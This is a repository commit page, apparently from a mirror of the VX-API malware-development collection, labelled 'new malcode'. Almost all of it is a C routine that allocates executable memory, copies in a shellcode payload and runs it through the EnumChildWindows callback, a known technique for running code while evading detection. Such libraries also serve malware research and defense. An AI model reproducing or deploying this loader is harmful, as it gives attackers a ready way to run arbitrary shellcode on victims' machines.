mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
new malcode
+
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
DWORD UnusedSubroutineDisposeableThreadEnumChildWindows(LPVOID Param)
|
||||
{
|
||||
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
|
||||
LPVOID BinAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BinAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
|
||||
|
||||
EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (BinAddress)
|
||||
VirtualFree(BinAddress, 0, MEM_RELEASE);
|
||||
|
||||
return (bFlag ? 0 : 0xffffffff);
|
||||
}
|
||||
|
||||
|
||||
BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
|
||||
{
|
||||
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumChildWindows, Sei, INFINITE);
|
||||
}
|
||||
Reference in New Issue
Block a user